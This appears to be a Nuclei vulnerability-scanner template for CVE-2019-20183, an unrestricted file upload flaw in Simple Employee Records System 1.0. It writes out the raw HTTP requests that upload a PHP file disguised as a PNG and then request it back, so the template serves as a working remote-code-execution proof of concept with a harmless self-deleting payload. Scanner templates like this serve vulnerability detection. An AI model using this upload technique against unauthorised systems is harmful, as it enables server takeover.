65 lines
2.5 KiB
YAML
65 lines
2.5 KiB
YAML
id: CVE-2019-20183
|
|
|
|
info:
|
|
name: Simple Employee Records System 1.0 - Unrestricted File Upload
|
|
author: pikpikcu,j4vaovo
|
|
severity: high
|
|
description: |
|
|
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
|
|
remediation: |
|
|
Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/49596
|
|
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
|
|
- https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2019-20183
|
|
cwe-id: CWE-434
|
|
epss-score: 0.02473
|
|
epss-percentile: 0.88895
|
|
cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: employee_records_system_project
|
|
product: employee_records_system
|
|
tags: edb,cve,cve2019,rce,fileupload,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /dashboard/uploadID.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
|
|
|
|
-----------------------------5825462663702204104870787337
|
|
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
|
|
Content-Type: image/png
|
|
|
|
<?php
|
|
echo md5('CVE-2019-20183');
|
|
unlink(__FILE__);
|
|
?>
|
|
-----------------------------5825462663702204104870787337--
|
|
- |
|
|
GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "1ad0d710225c472cb7396b3c1d97e4dd"
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: endpoint
|
|
regex:
|
|
- '(?:[a-zA-Z0-9+\/])*_poc.php'
|
|
internal: true
|
|
part: body
|
|
# digest: 4a0a00473045022066a1053130326d9b41fed8cbacb85415b2438510679c2fedaef41f9b7129ffc3022100a0265df48d79b3cc0351efd11bd00ca1246f50ebaaf1b42ce7b8d7830e88f5bf:922c64590222798bb761d5b6d8e72950 |